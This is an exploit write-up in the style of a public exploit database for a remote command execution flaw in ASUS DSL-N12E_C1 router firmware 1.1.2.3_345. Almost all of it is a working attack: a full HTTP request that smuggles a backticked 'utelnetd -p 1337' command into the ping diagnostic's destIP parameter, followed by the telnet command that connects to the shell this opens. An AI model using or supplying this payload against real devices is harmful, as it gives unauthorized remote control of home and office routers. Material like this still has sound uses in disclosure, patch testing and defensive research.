ASUS DSL-N12E_C1 1.1.2.3_345 Remote Command Execution

`# Exploit Title: ASUS DSL-N12E_C1 1.1.2.3_345 - Remote Command Execution  
# Date: 2018-08-02  
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)  
# Vendor Homepage: https://www.asus.com/  
# Software Link: https://www.asus.com/Networking/DSLN12E_C1/HelpDesk_BIOS/  
# Version: 1.1.2.3_345  
# Tested on: 1.1.2.3_345  
  
GET /Main_Analysis_Content.asp?current_page=Main_Analysis_Content.asp&next_page=Main_Analysis_Content.asp&next_host=www.target.com&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&applyFlag=1&preferred_lang=EN&firmver=1.1.2.3_345-g987b580&cmdMethod=ping&destIP=%60utelnetd+-p+1337%60&pingCNT=5 HTTP/1.1  
Host: www.target.com  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Referer: http://www.target.com/Main_Analysis_Content.asp  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
  
# To connect  
1. telnet www.target.com 1337  
  
  
`